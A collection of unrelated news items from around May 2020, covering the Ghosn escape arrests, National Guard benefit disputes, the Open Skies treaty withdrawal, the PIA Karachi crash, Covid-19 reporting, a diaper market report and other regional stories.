The U.S. Marshals Service arrested them in Harvard, Massachusetts, at the request of Japan, which in January issued arrest warrants for both men along with a third, George-Antoine Zayek, in connection with facilitating the Dec. 29, 2019 escape.

Ghosn, who was out on bail at the time, fled to Lebanon, his childhood home, while he was awaiting trial on charges of under-reporting earnings, breach of trust and misappropriation of company funds, all of which he denies.

Prosecutors said Peter Taylor traveled to Japan the day before Ghosnas escape and Michael Taylor and Zayek arrived the day it occurred with large black boxes that appeared to be for music equipment.

All three met with Ghosn, who after entering a hotel room with Michael Taylor and Zayek hid in one of the boxes, which was taken to an airport and loaded on a private jet headed for Turkey, prosecutors said.

Ghosn two days later announced he was in Lebanon.

The Taylors were arrested after U.S. law enforcement learned Peter Taylor had booked a flight from Boston to Beirut departing Wednesday with a layover in London, according to court papers.
WASHINGTON - The Pentagon is open to having some National Guard members stay on federal orders beyond a June 24 date set by the Trump administration, Defense Secretary Mark Esper said on Friday, but he did not rule out that some involved in the coronavirus response could fall short of accruing some military benefits.

The issue arose after the administration decided to end federal deployment orders for National Guard members on June 24. The decision would leave some who were placed under federal orders in late March just short of reaching a 90-day threshold that would allow them to collect retirement benefits early, before turning 60. The date also would cut short access to some GI Bill benefits, though that could be earned later.

Esper, in an appearance on the "Today" show, declined to comment on whether he thinks the date was set by design and said he is "fully committed to supporting our National Guard members and our active-duty members as well."

Esper said that he is open to extending federal status for guard members "if they're working a valid mission assignment" but that he was "not worried about the number of days" they did so.

"What I'm worried about . . . is making sure that we win the fight against the coronavirus and we fully support the young men and women who are serving on the streets of America in the National Guard," Esper said.

The issue has grown contentious because under federal law, guard members who are activated for 90 days within a fiscal year are allowed to begin collecting retirement pay early on a sliding scale. The policy states that guard members begin collecting retirement pay at age 60 as a baseline, with benefits available early for each year they are activated 90 days or more on federal status.

Several Democratic lawmakers and the National Guard Association of the United States, which lobbies for guard members, have blasted the administration for adopting the June 24 date after it was reported in a Politico story this week.

"At some point in time, you'd think we'd get beyond this silliness," said retired Brig. Gen. Roy Robinson, the president of the association. "It's just crappy. You don't treat people that way."

The National Guard Bureau, in a statement, said it is working with the Defense Department and the Federal Emergency Management Agency to "determine the best ways to care for our Guard men and women in this unprecedented response."

The National Guard has nearly 46,000 members involved in the coronavirus response, "and they will continue to do so as long as they are needed," the statement said.

The group coming up on the 90-day threshold now is smaller. They are arriving on it after President Donald Trump followed through on requests from several governors and national security experts and placed several thousand members on "Title 32" status.

Doing so allowed them to remain under control by governors, but paid by the federal government with health insurance and able to accrue points toward retirement and GI Bill benefits.

At the time, about 8,000 guard members had been activated. But as the virus spread across the country, the number of them rose, with deployments to do everything from perform coronavirus testing to assist in nursing homes where there had been outbreaks.

A senior defense official, speaking on the condition of anonymity due to the sensitivity of the issue, said the Defense Department has long set deployment lengths with statutory benefit thresholds in mind. Air Force deployments, for instance, are often 179 days, with a benefit that offers reservists income replacement kicking in when they reach 180.

The official said that "no door is being closed on benefits" and that guard members still have the potential to earn additional days before the end of the fiscal year if they are activated again for the coronavirus response, hurricane relief or other missions in a federal status.

The number of people who are closing in on 90 days is difficult to determine, the senior official said. Periods on active duty among the guard members range widely, with some serving closer to 30 or 45 days. With potential new missions, others could serve far more than 90.

"Members are not put on orders to reach a certain number of duty days," the senior official said. "Members are not put on orders to obtain benefits. Members are put on orders to accomplish a well-defined and validated mission requirement."

Robinson said that it is true that some of the same guard members could be called on for other missions this year but that federal ones that count toward the benefits are rare.

"They are taking advantage of them," he said. "Somebody should be held accountable."
(Newser)  President Trump is planning to visit Baltimore on Memorial Daybut the city's mayor wishes he wouldn't. "I wish that the president, as our nations leader, would set a positive example and not travel during this holiday weekend," Bernard C. Jack Young, mayor of the Maryland city, said of Trump's plan to on Monday visit the Fort McHenry National Monument and Historic Shrine (which is closed to the public due to the coronavirus pandemic). The first lady, the secretary of defense, the chairman of the Joint Chiefs of Staff, an interior secretary, and military ceremonial units will accompany the president, per CBS Baltimore. Trump, who has a contentious history with Baltimore, was apparently not swayed by the mayor's plea.

story continues below

"The brave men and women who have preserved our freedoms for generations did not stay home and the president will not either as he honors their sacrifice by visiting such a historic landmark in our Nations history," a White House spokesperson says in a statement, per the Baltimore Sun. Baltimore residents are currently still under orders to remain home unless they are leaving for an essential reason. "That President Trump is deciding to pursue non-essential travel sends the wrong message to our residents, many of whom have been disproportionately impacted by the COVID-19 virus," the Democratic mayor says. He also says the city can't afford the related security costs, though it will be ready for Trump's visit. (Read more Baltimore stories.)
Washington

President Donald Trump said Thursday that Russian violations make it untenable for the U.S. to stay in a treaty that permits 30-plus nations to conduct observation flights over each other's territory, but he hinted it's possible the U.S. will reconsider the decision to withdraw.

Trump's announcement comes as the U.S. begins new nuclear arms control talks with the Kremlin aimed at replacing an expiring weapons treaty with a modern and potentially three-way accord that brings China into the fold. Senior administration officials say Trump's willingness to leave the Open Skies Treaty is evidence of how prominently arms control verification and compliance will feature in the new talks.

The Open Skies Treaty that governs the unarmed overflights was initially set up to promote trust and avert conflict between the U.S. and Russia. The Trump administration informed other members of the treaty that the U.S. plans to pull out in six months  which is after the presidential election  because Russia is violating the pact.

The White House also says that imagery collected during the flights can be obtained quickly at less cost from U.S. or commercial satellites.

"Russia didn't adhere to the treaty. So until they adhere, we will pull out, but there's a very good chance we'll make a new agreement or do something to put that agreement back together," Trump told reporters at the White House before leaving for Michigan.

"So I think what's going to happen is we're going to pull out and they (the Russians) are going to come back and want to make a deal," Trump said. He added: "I think something very positive will work."

The U.S. announcement that it plans to leave the treaty is expected to upset some members of Congress and European allies, which benefit from the imagery collected by Open Skies flights conducted by the U.S.

"Ending such agreements without anything to replace them could result in destabilizing activities such as a dangerous new arms race leading to possible miscalculations," said U.N. spokesman Stephane Dujarric.

In Moscow, Russian Deputy Foreign Minister Alexander Grushko criticized the U.S. decision.

"Our position is absolutely clear and is invariable: The withdrawal of the U.S. from this treaty will come as yet another blow to the system of military security in Europe, which is already weakened by the previous moves by the administration," Grushko told state news agency Tass.

Trump's national security adviser Robert O'Brien said the president has made clear that the United States will not remain a party to international agreements being violated by the other parties and that are no longer in America's interests. He noted that Russian violations are also what prompted Trump last year to pull out of a 1987 nuclear arms treaty with Russia.

That treaty, signed by President Ronald Reagan and Soviet leader Mikhail Gorbachev, banned production, testing and deployment of intermediate-range land-based cruise and ballistic missiles with a range of 310 to 3,410 miles.
Defence manufacturing adversely affected due to COVID-19, says Raksha Mantri Shri Rajnath Singh at the MSMEs E-conclave of SIDM;

India - Press Information Bureau

Ministry of Defence

Exhorts MSME to make India 'Atma Nirbhar' in defence technology and products;

RM asserts recently announced reforms and financial package will strengthen MSMEs and generate employment;

Calls for making 'Local' Focal in daily lives to achieve self-reliance

Posted On: 21 MAY 2020 2:23PM by PIB Delhi

Raksha Mantri Shri Rajnath Singh has appreciated the role played by Society of Indian Defence Manufacturers (SIDM) and other Micro, Small and Medium Enterprises (MSMEs) in Nation's fight against global Coronavirus (COVID-19) pandemic. He said this while addressing via video conference MSMEs E-conclave, jointly organised by SIDM, Confederation of Indian Industry (CII) and Department of Defence Production here today.

Shri Rajnath Singh said, "I am very happy to know that SIDM has accelerated the manufacturing of DRDO [Defence Research and Development Organisation] designed PPE [Personal Protective Equipment] kits, masks, ventilator parts in the field of defence industry by efficient coordination and channelisation. Within less than two months, we have not only met our domestic demand, but we can also think of helping neighbouring countries in the coming time."

Raksha Mantri termed MSMEs backbone of Indian economy that accelerate GDP growth, earn valuable foreign exchange through exports and provide employment opportunities. Keeping MSMEs strong is one of the priorities of the Government. He said, "There are more than 8,000 MSMEs, tiered partners of many of our organisations - Ordnance factories, DPSUs and service organisations. They contribute more than 20 per cent of the total production of these organisations."

Acknowledging the hardships faced by the defence industry, Shri Rajnath Singh said, "Manufacturing sector has been affected the most due to lockdown and disruption in existing supply chains and the defence sector is no exception to this. Rather, it can be said that the defence sector is more aggravated than other sectors as the only buyer of defence products is the government." The SIDM has conducted many interactions with senior officials of the Ministry and the Armed Forces since the lockdown came into force. This has given an opportunity to get to know the problems of defence industries and many suggestions for their prevention have also been received from SIDM.

To tackle these challenges, MoD has taken several steps for industries, especially MSMEs. Such as: extension of response dates of RFP/RFI, early clearance of pending payments, etc. In this crisis, several financial support measures have been announced by the Government and RBI to reduce the financial burden of the industries. These will provide some relief due to the availability of additional working capital, deferment in interest payments.

Raksha Mantri assured that the 'Aatma Nirbhar Bharat' campaign, inspired by Prime Minister Shri Narendra Modi will provide many opportunities to Indian industry and will help in restoring millions of jobs. He said, "Prime Minister Shri Narendra Modi has called for being 'vocal for local' in this direction. I would like to say that we have to have our indigenous products, ie 'vocal for local', but before that in our own life, 'local' has to be focal. That is, we have to adopt 'swadeshi' products in our life. There is no doubt that MSMEs have a very important role in the goal of indigenous manufacturing, and in the goal of self-reliant India."

Shri Rajnath Singh mentioned some of the measures announced by Finance Minister Smt Nirmala Sitharaman under 'Aatma Nirbhar Bharat' scheme. Collateral free loan of 3 lakh crores for MSMEs - this will be effective in re-establishing about 45 lakh units and saving employment. Subordinate debt provision of Rs 20,000 crore has been announced for two lakh MSMEs, this will help stressed MSMEs. Equity infusion of Rs 50,000 crore will be provided through 'Mother-Daughter Fund' for the purpose of benefiting the needy MSMEs. A Rs 10,000 crore 'Fund of Funds' will be set up to help increase the capacity of these units and for marketing.

The definition of MSME has been revised, so that MSMEs can be expanded. At the same time there will be no distinction between manufacturing and services sector MSMEs. In government contracts (procurements) of value Rs 200 crores or less, global tenders will not be allowed. This will help MSMEs to grow their business. In the event of being unable to participate in trade fairs due to COVID-19, e-market linkages will be ensured. Government and PSUs will also ensure the clearance of all outstanding payments in the next 45 days.

Theme of the E-conclave was 'Business Continuity for MSMEs in Defence & Aerospace Sector' in which more than 800 Defence MSMEs participated.

Citing the example of United States where domestic defence industry developed within a short span of two years during the World War-II, Chief of Defence Staff General Bipin Rawat said India should have its own defence industry. He urged the MSMEs to work for placing India among the top ten nations in defence technologies.

Secretary (Defence Production) Shri Raj Kumar in his address highlighted the measures taken to alleviate the hardships faced by defence manufacturing industry due to COVID-19. He said the DPSUs have been asked to clear payments of MSMEs, and also announced that their production targets have not been scaled down. Citing the reforms recently announced by the Finance Minister, he said these measures will help realise the target of achieving a USD 25 billion defence production by 2025.

President of SIDM Shri Jayant D Patil, former president of SIDM Shri Baba N Kalyani, Director General of CII Shri Chandrajit Banerjee, senior civil and military officials of MoD, Ordnance Factory Board and DPSUs were also present on the occasion.

ABB/SS/Nampi/KA/DK/Savvy/ADA



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The community outreach for those displaced by the flooding in Sanford and Midland is palpable at the shelter at Midland High School. Since Wednesday, organizers have seen donations of food, clothing, personal care items and much more steadily flow through its doors.

The shelter saw between 35 to 40 residents on Wednesday night, the lowest occupancy since it opened Monday evening. Individuals from The Arc of Midland and Washington Woods, along with some of the residents of Riverside Place, have either been moved into hotels or are staying with relatives.

Were down from about 150 to near about 50, said organizer Paul Schroll, of Midland.

While the organizers dont know how many to expect tonight, Schroll said they are prepared to accommodate 100 on Thursday night, and they can expand their resources to help hundreds if the situation worsens.

We dont see that happening since the waters are receding and things are going to start opening up, hopefully, Schroll said.

Those resources have come from the great community of Midland, according to Schroll. Snacks and activity books lined the downstairs hallway leading to the school gym while toys and games stood at the ready in case kids came in.

Men and womens toiletries along with cleaning supplies were positioned near the locker rooms. The following area was packed with clothing, shoes, and a small mountain of toilet paper tucked into a corner. Some of the supplies will be sent out to other shelters once Midland High is no longer needed as a sanctuary.

One of the funniest things is how much toilet paper we have. We, of course, didnt need any, but when folks leave, theyre going to need it because their homes flooded, Schroll said.

The health of the individuals inside the shelter is paramount. As of Thursday morning, everyones temperature was checked at points of entry. Masks were required within the gym where some residents were reclining on cots. Organizers made a point to wash or sanitize their hands at regular intervals. Volunteers continually wiped down commonly used surfaces and doors remained open so people wouldnt constantly touch handles. Unused cots with fresh sheets are designated clean once volunteers make them up.

Were making sure that were following protocols because we dont want anything to spawn here, Schroll said.

Larger organizations including United Way and the Red Cross have been assisting as well

Im really proud of the Midland Public Schools systems and the Midland community for coming together the way they did, he said.

Another group of volunteers include certified nursing assistants, physicians and nurses who work 12-hour shifts. Dow High School alum Noah Porte of Detroit, executive director and founder of Detroit Hospitality Institute, came to Midland to help his dad when he heard about the flooding. Now he is coordinating medical personnel from areas including Midland, Saginaw, Kalamazoo, Detroit and Grand Rapids, making sure shelters has adequate staffing.

Its been tremendous just seeing the selflessness of people coming out on their days off and work eight to 12 hours at a time to take care of these residents, Ponte said. Midland is a special place and at times like this, it shows.
A giant snowman erected on the bank of Songhua River in Harbin, the capital of Northeast Chinas Heilongjiang province, has drawn much attention online. Around 2,000 cubic meters of snow was used to create the 18.5-meter-tall figure dressed in a red hat and scarf. Since December, ice and snow sculptures featuring Winter Olympics and Lunar New Year elements have popped up across the city famed for its ice festivals, drawing many visitors

Jan 20, 2022 06:19 PM
Mystery shrouded the



death of nine people, including six of a family, whose bodies were found in a well, five of them on Friday, near here in Telangana.

A day after a 48-year old man, a worker of a gunny bag stitching unit, and three other members of his family were found dead in the well at Gorrekunta village, on the city outskirts, five more bodies, including that of his two sons, were recovered on Friday, police said.

The bodies of six members of the family, a friend and two other men were retrieved from the well, Warangal Police Commissioner V Ravinder told PTI.

Bodies of the head of the family, wife, daughter and three-year old grandson were found floating and fished out on Thursday.

On Friday morning, some bodies were seen floating following which police pumped out the water from the well and found others.

Though police, citing preliminary investigation, had earlier said they suspected it to be a case of suicide, after the recovery of other bodies, they said there were no external injuries in all the nine and the cause of death would be known only after post-mortem.

In the absence of visible injuries, police hope to proceed further after the cause of death is known in the post mortem report.

The head of the family had asked his friend, who works elsewhere, to come to the gunny bag unit saying there was more work. Two men from Bihar, who also work there, stay at the same place, sources said.

A case under Section 174 of CrPC (police to enquire and report on suicide etc) has been registered and it would be altered, if need be, as per further investigation, they said.

The 48-year old man had migrated from West Bengal over 20 years ago and had settled down here. His family had been staying in two rooms on the premises of the unit, police sources said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
The epicenter of the global Covid-19 pandemic has shifted to South America as cases in Rio de Janeiro and Sao Paulo explode six months after the new coronavirus emerged on the other side of the world in Wuhan, China, the World Health Organization declared Friday.

"We've seen many South American countries with increasing numbers of cases and clearly there's a concern across many of those countries, but certainly the most affected is Brazil at this point," Mike Ryan, executive director of the WHO's emergencies program, said at a news briefing from the agency's Geneva headquarters.

"In a sense, South America has become a new epicenter for the disease," he said.

Brazil has more cases than any other country in South America, according to the WHO's most recent daily situation report. Ryan said confirmed cases in the country are now approaching 300,000 and Covid-19 has now killed nearly 19,000 people in Brazil.

Ryan noted that the government of Brazil has approved the "broader" use of anti-malaria drug hydroxychloroquine, which U.S. President Donald Trump has said he is currently taking to defend against infection from Covid-19. Several studies have cast doubt on the efficacy of the drug as a treatment for the disease. A study published earlier Friday showed that patients who were treated with the drug had a higher risk of death than those who didn't take it.

"The current clinical evidence does not support the widespread use of hydroxychloroquine for the treatment of Covid-19, not until the trials are completed and we have clearer results," Ryan said.

The majority of cases in Brazil are in the Sao Paulo region, Ryan said, adding that the states of Rio de Janeiro, Ceara, Amazonas and Pernambuco have been affected as well. He said the WHO is actively providing assistance to the government of Brazil.

"In terms of attack rates, the highest attack rates are actually in Amazonas," Ryan said. "About 490 persons infected per 100,000 population, which is quite a high attack rate."

The state of Amozonas, which is among Brazil's most rural states, warned last month that its health system was overwhelmed with Covid-19 patients. Dr. Maria Van Kerkhove, head of the WHO's emerging diseases and zoonosis unit, emphasized the importance for all countries to protect at-risk populations.

"All countries have vulnerable populations and we are seeing a greater impact in terms of disease, disease severity, poor outcomes in groups that are vulnerable," she said. "It highlights the inequalities that we see in vulnerable groups."

In March, the WHO declared that the epicenter of the virus had left China, where it first emerged, and arrived in Europe. The virus has now infected more 5.1 million people around the world and killed at least 335,063 people, according to data from Johns Hopkins University.
Thursday, May 21, 2020 at 11:07PM

The day has finally come. Disney seems to have hit its target to release The Simpsons in its original 4:3 aspect ratio before May ends. According to tweets from showrunner Al Jean, the new/old format will be available on Disney+ starting May 28. Disney drew flak for releasing all The Simpsons seasons in 16:9 HD format, which resulted in having cut out some key details and even jokes from some of the earlier seasons. The Simpsons only switched to this format sometime in Season 20. But now, all episodes that aired in 4:3 will be available in that format.

MobileSyrup reports that Disney also plans to release The Simpsons short "The Longest Daycare" on Disney+ on May 29. It is a Maggie Simpson-centric short that was shown in theatres before the screenings of 20th Century Fox's Ice Age: Continental Drift.
A man whose wife was killed in the Shankill bomb is prepared to take legal action against the Stormont Executive over the delay in the delivery of a victims' pension scheme.

It has been held up due to a stand-off between Belfast and London over who pays the estimated 100m cost.

The first stage in the potential legal action will begin today.

It will focus on the Executive's "failure to comply with legislation to provide payments for those severely injured through no fault of their own during the Troubles in Northern Ireland".

The Victims' Payment Scheme had been due to open for applications on May 29.

Read More

However, that won't now happen, and structures passed into law in January to administer the scheme have not been set up.

Alan McBride, coordinator of the WAVE trauma centre, who lost his wife Sharon and father-in-law Desmond Frizzell in the IRA's 1993 bombing of the family's fish shop, is behind the legal action. WAVE last night indicated that, depending on the Executive Office's response to a pre-action protocol letter asking for an explanation, a decision will be made whether or not to apply for a judicial review of the Executive's conduct.

Northern Ireland's Victims' Commissioner has accused the authorities of adding insult to the injury sustained by thousands of conflict survivors.

Read More

In a scathing critique of Downing Street and Stormont, Judith Thompson said victims had once again been allowed to slip down the list of priorities.

"So people who wore their injuries well and fought a long, hard fight to get some recognition and a standard of living now suddenly find their perception is that this is all slipping away from under their feet. It is incredibly cruel," she said.

DUP leader Arlene Foster said: "This pension was a massive step forward for innocent victims. I have spoken with the Secretary of State and urged him to stand by the legislation passed in Westminster and fund the pension.

"It is unseemly that these deserving people are being let down due to the Government not releasing funding. The Northern Ireland Civil Service will administer the scheme, but Treasury needs to release funds for Northern Ireland to afford the pension."

Sinn Fein MLA Linda Dillon also called on the Treasury to finance the scheme. "Sinn Fein wants to see a pension in place and delivered to meet the needs of all victims," she said.

UUP MLA Doug Beattie branded the delay "a total disgrace". He said: "The handling of this has been shocking. We need to urgently hear from the Executive Office and the Northern Ireland Office. Victims deserve answers." SDLP MLA Dolores Kelly said: "It is disgraceful that posturing over who foots the bill is creating further delay and uncertainty for people who have already been forced to wait for far too long.

"This legislation was passed at Westminster with the support of local parties. Westminster therefore has a responsibility to supply the resources to deliver on the commitments the Government has made."

TUV leader Jim Allister said: "It is a telling indication of how high innocent victims feature on the agenda of the Executive parties that this issue was not nailed down as part of the New Decade, New Approach deal. Money could be found for Irish language and Ulster-Scots legislation. Commitments could be made in relation to legacy proposals, which have received a cool reception to say the least from innocent victims.

"But when it came to delivery of the pension already promised there was, again, failure. That is shameful."

An Alliance spokesman said: "In particular, it must be recognised the UK Government has a responsibility with respect to funding this pension, given its commitments in January. It would be unacceptable if these payments were further frustrated or delayed, letting victims down again."
DUBLIN, May 22, 2020 /PRNewswire/ -- The "North America Baby & Adult Diaper Market Outlook, 2025" report has been added to ResearchAndMarkets.com's offering.

The North American diaper market is estimated to reach US$14.99 billion in the year 2025 with a growth of more than 2% (CAGR). This report gives a comprehensive and regional analysis of the diaper market of North America.



Globally, the markets are experiencing the growth in the diaper industry due to increased fertility and birth rates or due to the aging population with higher life expectancy. Diapers have evolved with time and are continually improving in order to meet the consumer's satisfaction levels. Moreover, market trends are forcing the brands to develop new products that can compete in the international competition.



With the emerging diseases in the world, the adult diapers were developed which can serve the adult incontinence. Incontinence can occur due to several diseases such as UT infections, prostate infections and also, aging is also one of the reasons. Hence, this emphasized the diaper industry to develop adult diapers for needy ones. adult diapers are available in several sizes and fit such as briefs, adhesive tape, pull up, pants, etc. These diapers were also developed ultra soft so that they can provide the utmost comfort and safety.



Due to the development of diapers with the emergence of new trends, the global diaper market is continually growing. It is growing with a CAGR of more than 6% during the review period of 2014-2019 and is expected to grow to $98.82 billion by the end of 2025.



Of the total global diaper market, North America contributes a share of 18.65%. North America has the Unites States of America and Canada, which are two major economies. Hence, the market of these economies can affect any market globally. Besides this, Mexico, Puerto Rico, Bahamas, Panama, Costa Rica are also developing economies that contribute to the market share of the North American continent.



The key players of the North American Diaper Market are Kimberly Clark, Procter & Gamble, SCA Hygiene, Johnson & Johnson, and several other domestic ones.



Key Topics Covered



1. Executive Summary



2. Methodology



3. Regional Breakup



4. Global Diaper Market Outlook

4.1. Market Size (Baby & Adult)

4.1.1. Overall Diaper Market Outlook

4.1.2. North America Diaper Market Outlook

4.1.3. South America Diaper Market Outlook

4.1.4. Europe Diaper Market Outlook

4.1.5. APAC Diaper Market Outlook

4.1.6. Africa & Middle East Diaper Market Outlook

4.2. Market Share

4.2.1. By Company

4.2.2. By Type

4.2.3. By Region

4.2.4. By Country



5. Global Baby Diaper Market Outlook

5.1. Global Birth Rate and Fertility Rate

5.2. Market Size

5.2.1. Overall Diaper Market Outlook

5.2.2. North America Diaper Market Outlook

5.2.3. South America Diaper Market Outlook

5.2.4. Europe Diaper Market Outlook

5.2.5. APAC Diaper Market Outlook

5.2.6. Africa & Middle East Diaper Market Outlook

5.3. Market Share

5.3.1. By Company

5.3.2. By Type

5.3.3. By Region

5.3.4. By Country



6. North America Baby Diaper Market Outlook

6.1. Birth Rate & Fertility Rate

6.2. Market Size

6.2.1. Overall Baby Diaper Market Outlook (By Type)

6.2.2. North America Disposable Baby Diaper Market Size (By Country)

6.2.3. North America Cloth Baby Diaper Market Size(By Country)

6.2.4. North America Swim Pants Baby Diaper Market Size (By Country)

6.2.5. North America Training Baby Diaper Market Size (By Country)

6.2.6. North America Biodegradable/Others Diaper Market Size (By Country)

6.3. Market Share

6.3.1. By Country

6.3.2. By Type

6.4. USA Baby Diaper Market

6.4.1. Disposable Baby Diaper Market

6.4.2. Cloth, Training, Swim pants, Biodegradable Baby Diaper Market Outlook

6.4.3. Canada Baby Diaper Market

6.4.4. Disposable Baby Diaper Market Size

6.4.5. Cloth, Training, Swim pants, Biodegradable Baby Diaper Market Outlook

6.5. Mexico Baby Diaper Market

6.5.1. Disposable Baby Diaper Market

6.5.2. Cloth, Training, Swim pants, Biodegradable Baby Diaper Market Outlook

6.6. Rest of the North America Baby Diaper Market Size

6.6.1. Disposable Baby Diaper Market

6.6.2. Cloth, Training, Swim pants, Biodegradable Baby Diaper Market Outlook



7. Global Adult Diaper Market Outlook

7.1. Market Size

7.1.1. Overall Adult Diaper Market Outlook

7.1.2. North America Diaper Market Outlook

7.1.3. South America Diaper Market Outlook

7.1.4. Europe Diaper Market Outlook

7.1.5. APAC Diaper Market Outlook

7.1.6. Africa & Middle East Diaper Market Outlook

7.2. Market Share

7.2.1. By Company

7.2.2. By Region

7.2.3. By Country



8. Global Diaper Market Dynamics

8.1. Key Drivers

8.2. Key Challenges



9. Market Trends & Developments

9.1. Innovations have been done with the passage of time

9.2. Delayed Toilet Training of Children in Developed Countries Leads to Bigger Diaper

9.3. Global Growth In E-Commerce Sales

9.4. Impact of digital marketing & building emotional connections with the consumers

9.5. Increased health problems in older people push the Incontinence products high



10. Company Profiles

10.1.1. Procter & Gamble

10.1.2. Kimberly & Clark Corporation

10.1.3. Unicharm Corporation

10.1.4. Svenska Cellulosa Aktiebolaget (SCA) Hygiene

10.1.5. Domtar Corporation

10.1.6. The Daio Paper Corporation

10.1.7. Hengan International Group Company Limited

10.1.8. Kao Corporation

10.1.9. Ontex Group

10.1.10. Johnson & Johnson



For more information about this report visit https://www.researchandmarkets.com/r/k7vrir

Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research.

Media Contact:

Research and Markets

Laura Wood, Senior Manager

[email protected]



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The Islamic holy month of Ramadan or Ramzan comes to an end with much-awaited Eid celebrations after a 30-day long fasting ritual, known as Rozas. Muslims across the globe eagerly wait for Eid to celebrate the festival with much gusto and fervour.

Eid-ul-Fitr or Eid-al-Fitr marks the end of the 30-day period of fasting or Rozas. Eid-ul-Fitr is the first and only day in the month of Shawwal during which Muslims are not permitted to fast.

On Friday, the crescent moon was not sighted in Kerala. Hence, Eid will be celebrated on May 24 (Sunday).

The Hilal Committee in Kerala took the final call on the sighting of the crescent moon and subsequently decided the date of Eid 2020 festival.

In Karnataka too, the moon was not sighted on Friday. Muslims in this part of India will celebrate Eid-ul-Fitr on May 24.

Unlike every year, the festivities have been subdued this time due to the coronavirus pandemic. People in most of the countries have been issued advisories to remain indoors so as to protect themselves and help in containing the spread of COVID-19.

According to many beliefs, this annual observance is regarded as one of the Five Pillars of Islam. The month lasts for about 2930 days (usually a month) based on the visual sighting of the crescent moon, according to numerous biographical accounts compiled in the hadiths.

Ramadan word has Arabic root ramida or ar-ramad, which means scorching heat or dryness. It is believed that the holy book of Quran was written during this month. Thus, the people practise fasting in this month to purify their souls and seek forgiveness from the Almighty Allah.
Karachi, May 22 : A Pakistan International Airlines (PIA) plane with over 100 people onboard crashed in a residential area in Karachi near the city's Jinnah International Airport on Friday, a spokesman for the flag carrier said, but did not confirm any casualties.

"The plane PK 8303 with 99 passengers and eight crew members has crashed," The Express tribune quoted the spokesman as saying.

The crash took place in the city's densely populated Model Colony area.

PIA spokesperson Abdul Sattar confirmed the crash and added that the A320 Airbus was flying from Lahore to Karachi.

"Saying anything right now would be premature. Our crew is trained to handle emergency landings.

All my prayers are with the families. We will continue to provide information in a transparent manner," he was quoted as saying in a statement by Dawn news.

Image Source: IANS News

Footage showed plumes of smoke rising from the site of the crash.

A witness told Dawn news that the plane was on fire in the air before crashing.

A PIA official, speaking to a private TV channel, said the aircraft lost communication with the ground staff at 2.37 p.m. and crashed around a minute before landing.

Another official told The Express Tribune that the plane was leased from China and was around 10 to 12 years old.

Reportedly both engines failed, added the official.

"The plane took off from Lahore at 1 p.m. and was scheduled to land in Karachi at 2.45 p.m." A statement by the Inter-Services Public Relations (ISPR) said Pakistan Army Aviation helicopters have arrived on the spot for rescue efforts and damage assessment while Urban Search and Rescue teams are also on the ground.

Confirming the incident, a senior official of the Civil Aviation Authority said the rescue operation was underway.

"It is too early to say anything. We are collecting details of passengers," The Express Tribune quoted the official as saying.

Meanwhile, Chief of Army Staff (COAS) Gen Qamar Javed Bajwa condoled "loss of precious lives" and directed provision of full assistance to civil administration in rescue/relief effort.

Following the crash, Sindh Minister of Health & Population Welfare declared an emergency in all major hospitals of Karachi.

SAPM on Information and broadcasting Asim Saleem Bajwa said that on Prime Minister Imran Khan's directions, all emergency services and resources have been mobilised and evacuation is in progress.

Last year, a PIA aircraft skidded off the runway while landing at Gilgit airport.

Passengers had remained safe in the accident, but the plane suffered considerable damage.

On December 6, 2016, PIA flight PK-661 carrying 48 passengers and crew had crashed on the way to Islamabad from Chitral, killing all on board.

-- Syndicated from IANS
The Pan African Organisation for Research and Protection of Violence on Women and Children (PAORP-VWC) has engaged media practitioners in Tamale to plan and enhance strategies in child rights protection campaigns.



The workshop held was to discuss and design strategies to effectively promote laws and policies which protected children in northern Ghana; and it would come up with appropriate broadcast programmes and slots for children's rights education.



The workshop formed part of a three year duration project dubbed: "Promotion of Protection against Child Trafficking and Child, Early and Forced Marriage in Northern Ghana", and funded by KiRA Germany.



The project is set to focus on Tolon, Kumbugun, Gushegu, Zabzugu and Tatale districts of the Northern Region, where it has been observed that early and forced marriages are high.



Dr Peter Ndonwie, Director of PAORP, said the organisation needed genuine collaboration from the media to reach remote areas, where the people disregarded childrens rights as an essential component for their growth.



He said there are many areas within the Northern Region where the rights of children are undermined adding that these children needed such interventions to be safe from early and forced marriages.

Source: GNA









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This article is part of our Remembering Lives Lost project to honor victims in the Houston region whose families have chosen to publicly disclose their cause of death as COVID-19.

For two decades, Lance Bierre owned and operated Heights Appliance Service, employing the technical know-how that he first learned to repair Air Force planes to patch up Houstonians broken machines.

He took pride in his work and carried it out diligently, according to his wife, Charlotte Bierre. That earned him the trust of some notable residents such as Eleanor Tinsley, the late city council member.

The people that he worked for knew that they could depend on him to be honest, Charlotte said. He didnt just go in there and slap something on the appliance. He would sit down and figure out what was wrong, and then go get the right part. A lot of times the part was on his truck, because he kept a well-stocked truck.

Bierre, 74, a veteran of the Vietnam War, died March 27 with COVID-19, the disease caused by the new coronavirus. He was one of the first Houston residents to die with the virus.

He was an intelligent man, occasionally short on patience but generous in his purchase of surprise flowers or pretty little trinkets, Charlotte said. His last name was French for beer, but he preferred whiskey.

Charlotte said he had been sick for a few weeks before his death, which came two days after their 42nd anniversary. They had four children.

He at first attributed the illness to allergies, but it worsened as time passed. Charlotte said she and a few emergency medical technicians made him go to the hospital that day, after she found him lying halfway off a downstairs couch. His cough had worsened to the point of pneumonia, she said. He didnt survive the day at Memorial Hermann Hospital.

A Syracuse, N.Y. native, Bierre served as an aircraft technician for the Air Force in Vietnam, Charlotte said. While he didnt see combat, the bombs exploding around the base were enough to inspire nightmares for years, she said. He never liked war movies or talked much about his service.

A few years after returning from the war, Bierre visited Houston in 1977. While here, he heard a speech from an elder in the Christian Congregation of Jehovahs Witnesses. He developed a private bible study with the man, which kept him in Houston. The man was Charlottes father.

And though he wouldnt stay with the church, he married Charlotte in 1978 and stayed in Houston for most of the rest of his life, save for a year in Oklahoma. There, Bierre helped pioneer a stencil machine for large rolls of paper before moving back to Houston and launching his appliance service.

He spent the last two decades working for AT&T and only recently considered retirement. He was a man of work, Charlotte said, and had few hobbies outside of it, though he did apply his technical skill to fixing up a 59 Ford Skyliner.

He didnt want to quit, Charlotte said.

In the year before his death, the couple took weekend trips to Lake Raven near Huntsville, where Bierre was trying to learn to kayak. They would also rent a screened-in cabana with a few outlets for their phones. Charlotte said she doesnt know what she is going to do with the camping gear now.

He was the love of my life and Im going to miss him, she said.

dylan.mcguinness@chron.com
Arakan Army soldiers pass through a field in western Myanmar's Rakhine state in an undated photo.

